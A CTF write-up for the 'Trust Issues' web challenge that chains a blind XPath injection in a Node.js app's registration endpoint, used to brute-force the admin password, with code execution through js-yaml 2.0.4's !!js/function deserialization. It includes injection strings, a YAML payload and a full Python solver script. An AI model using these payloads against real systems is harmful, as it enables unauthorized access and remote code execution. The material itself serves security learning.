Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
WebMedium

Trust Issues

CTF writeup for Trust Issues from Backdoor

//Trust Issues

>1. Challenge Description

We are provided with a Node.js web application source code (issues.zip) and a remote instance. The application is a "simple admin panel" that boasts "questionable trust decisions." Our goal is to break these trust decisions and extract the flag.

>2. Initial Analysis

The application is built with express, uses an XML database (data.xml) managed by xmldom and xpath, and parses user-supplied files using js-yaml.

Key Components:

  • server.js: Main application logic.
  • data.xml: Stores user credentials and roles.
  • Dependencies:
  • xpath: For querying the XML database.
  • js-yaml: Version 2.0.4 (Very old!).

Authentication & Authorization

The app has two middleware functions:

  1. requireLogin: Checks if req.cookies.sid exists in the in-memory sessions object.
  2. requireAdmin:
  • Takes the username from the session.
  • Executes an XPath query: //user[username/text()='${username}' and role/text()='admin'].
  • If a node is returned, access is granted.

>3. Vulnerability 1: Blind XPath Injection (The Oracle)

The "questionable trust decision" is found in the /register endpoint.

jsx

// server.js:123

const checkQuery = `//user[username/text()='${username}']`;

const exists = xpath.select(checkQuery, xmlDoc)[0];

if (exists) {

  return res.status(400).send('User already exists');

}

The username input is directly interpolated into the XPath query without sanitization. This allows for XPath Injection.

The Logic Flaw

We want to extract the password of the admin user. We can use the registration response as a Boolean Oracle:

  • True (Match Found): Server responds with 400 User already exists.
  • False (No Match): Server responds with 200 Registered!.

The Payload

We can inject a condition that checks the admin's password character by character.

Injection: admin' and substring(password, 1, 1)='f

Resulting Query:

//user[username/text()='admin' and substring(password, 1, 1)='f']

  • If the first character of the admin's password is f, the query matches the existing admin user. The server thinks "User exists" and blocks registration. Side-channel: TRUE.
  • If the character is not f, the query matches nothing. The server registers a new user with that weird username. Side-channel: FALSE.

Note on Uniqueness: Since failing attempts (False) actually create a user, subsequent attempts with the same payload would match our own created user, giving a False Positive. To allow retries or continuous brute-forcing, we append a unique tag to every payload:

... and 'UNIQUE_ID'='UNIQUE_ID'

>4. Vulnerability 2: RCE via Insecure YAML Deserialization

Once we brute-force the admin password, we can log in and access the admin-only endpoint: /admin/create.

jsx

// server.js:246

parsed = yaml.load(fileContent);

This endpoint takes a filename and content, writes it to /tmp, and then parses it using yaml.load().

The package.json reveals the js-yaml version is 2.0.4. This version is known to be vulnerable to Code Execution via the !!js/function tag.

The Payload

We can inject a JavaScript function that executes immediately upon deserialization.

Original Plan (Failed):

yaml

test: !!js/function "function(){ var fs = require('fs'); ... }()"

This failed because require is not available in the sandboxed scope of the deserializer.

Bypass:

We can use process.mainModule.require to access the global require function.

Working RCE Payload:

yaml

!!js/function >

  function () {

    var req = process.mainModule.require;

    var fs = req('fs');

    try {

      if (fs.existsSync('flag.txt')) {

        return fs.readFileSync('flag.txt', 'utf8');

      }

      return 'Flag not found';

    } catch(e) { return e.toString(); }

  }()

>5. Exploitation Strategy

Step 1: Local Verification

I first verified the exploit locally:

  1. Created a reproduce_issue.js to confirm the XPath behavior.
  2. Wrote exploit.py to automate the Blind XPath brute force.
  3. Retrieved the local dummy password: fakepassword.
  4. Used the password to log in and send the YAML payload, successfully reading the local flag.

Step 2: Remote Exploitation

Running against the remote server introduced network instability/timeouts. I enhanced the script:

  • Retries: Added a loop to retry requests up to 10 times upon failure.
  • Timeouts: Increased request timeouts to 10 seconds.
  • Resumption: The script prints progress so we can hardcode the starting characters (df...) if it crashes.

Final Result

  • Admin Password: df08cf
  • Flag: flag{xPath_to_YamLrc3_ecddd907d5d5decb}

>6. Solver Script (exploit.py)

python

import requests

import string

import sys

import uuid

import time

import json

# Usage: python exploit.py [URL] [REAL_ADMIN_PASSWORD_IF_KNOWN]

TARGET = sys.argv[1] if len(sys.argv) > 1 else "<http://localhost:8000>"

RUN_ID = str(uuid.uuid4())[:8]

print(f"[*] Target: {TARGET}")

print(f"[*] Run ID: {RUN_ID}")

def brute_force():

    # Found remote password prefix

    password = ""

    index = 1

    # Common chars first

    chars = string.ascii_letters + string.digits + "{}_-"

    chars += "!@#$%^&*()+=[]|;:,.<>?/`~"

    print(f"[*] Starting brute force from: {password}...")

    while True:

        found_char = False

        for c in chars:

            # Payload: matches Admin if char matches.

            # Uniqueness: ensures we don't match our own successful registrations (False results)

            unique_tag = f"{RUN_ID}-{index}-{ord(c)}"

            # XPath Injection Payload

            # Logic: If (admin password match) AND (unique tag match) -> True (User Exists)

            payload_str = f"admin' and substring(password,{index},1)='{c}' and '{unique_tag}'='{unique_tag}"

            if c == "'": continue # Skip handling quotes complexity for now

            # Retry loop for stability

            max_retries = 10

            for attempt in range(max_retries):

                try:

                    r = requests.post(f"{TARGET}/register", json={

                        "username": payload_str,

                        "password": "any"

                    }, timeout=10)

                    # Oracle: 400 "User already exists" => MATCH (True)

                    if "User already exists" in r.text or r.status_code == 400:

                        password += c

                        print(f"[+] Found char: {c} (Current: {password})")

                        found_char = True

                        break

                    # Oracle: 200 "Registered" => NO MATCH (False)

                    elif "Registered" in r.text or r.status_code == 200:

                         break

                    else:

                        print(f"[!] Unexpected response: {r.status_code}")

                        time.sleep(1)

                        continue

                except Exception as e:

                    print(f"[!] Error (Attempt {attempt+1}/{max_retries}): {e}")

                    time.sleep(2)

            if found_char:

                break

        if not found_char:

            print("[*] Password found (or stuck):", password)

            break

        index += 1

    return password

def rce(password):

    print(f"[*] Logging in as admin with password: {password}")

    s = requests.Session()

    # 1. Login

    r = s.post(f"{TARGET}/login", json={

        "username": "admin",

        "password": password

    })

    # Verify Login

    r_check = s.get(f"{TARGET}/me")

    if '"loggedIn":true' in r_check.text and '"user":"admin"' in r_check.text:

        print("[+] Logged in successfully!")

    else:

        print("[-] Login failed.")

        print(r_check.text)

        return

    # 2. RCE Payload

    # Exploit js-yaml 2.0.4 with process.mainModule.require

    code = """function () {

      var req = process.mainModule.require;

      var fs = req('fs');

      try {

        var files = fs.readdirSync('.');

        if (files.includes('flag.txt')) {

             return fs.readFileSync('flag.txt', 'utf8');

        } else {

             return 'Flag not found in CWD: ' + files.join(',');

        }

      } catch(e) {

        return e.toString();

      }

    }()"""

    # Use YAML Block Literal for cleaner payload

    yaml_payload = f"!!js/function >\\n{code}"

    print("[*] Sending RCE payload...")

    r_rce = s.post(f"{TARGET}/admin/create", json={

        "filename": "exploit.yml",

        "fileContent": yaml_payload

    })

    print("[*] Response:")

    print(r_rce.text)

if __name__ == "__main__":

    if len(sys.argv) > 2:

        # If password known, skip brute force

        pw = sys.argv[2]

        rce(pw)

    else:

        pw = brute_force()

        if pw:

            rce(pw)

## 7. Appendix: Analysis Script (`reproduce_issue.js`)

This script was used to verify the XPath injection behavior locally.

```javascript

const fs = require('fs');

const { DOMParser, XMLSerializer } = require('@xmldom/xmldom');

const xpath = require('xpath');

const path = require('path');

const xmlContent = fs.readFileSync(path.join(__dirname, 'data.xml'), 'utf8');

const xmlDoc = new DOMParser().parseFromString(xmlContent);

function test(username) {

    console.log(`\\n--------------------------------------------------`);

    console.log(`Testing username: "${username}"`);

    // 1. Registration Check

    const checkQuery = `//user[username/text()='${username}']`;

    let exists = false;

    let regSuccess = false;

    try {

        const result = xpath.select(checkQuery, xmlDoc);

        exists = result.length > 0;

        console.log(`[Reg] Query: ${checkQuery}`);

        console.log(`[Reg] Matches: ${result.length}`);

        if(exists) {

            console.log("-> Registration Failed (User exists)");

        } else {

            console.log("-> Registration Succeeded!");

            regSuccess = true;

        }

    } catch (e) {

        console.log(`[Reg] Error: ${e.message}`);

        return;

    }

    // Simulate Registration in memory if success

    if (regSuccess) {

        const user = xmlDoc.createElement('user');

        const un = xmlDoc.createElement('username');

        const pw = xmlDoc.createElement('password');

        const rl = xmlDoc.createElement('role');

        const id = xmlDoc.createElement('id');

        un.appendChild(xmlDoc.createTextNode(username));

        pw.appendChild(xmlDoc.createTextNode('pass'));

        rl.appendChild(xmlDoc.createTextNode('employee'));

        id.appendChild(xmlDoc.createTextNode('999'));

        user.appendChild(un);

        user.appendChild(pw);

        user.appendChild(rl);

        user.appendChild(id);

        const usersNode = xpath.select('//users', xmlDoc)[0];

        usersNode.appendChild(user);

        usersNode.removeChild(user);

    }

}

const payloads = [

    // Logic: //user[username='admin' and substring(password,1,1)='f']

    "admin' and substring(password,1,1)='f",

    "admin' and substring(password,1,1)='x",

];

console.log("Starting Oracle Test...");

payloads.forEach(p => test(p));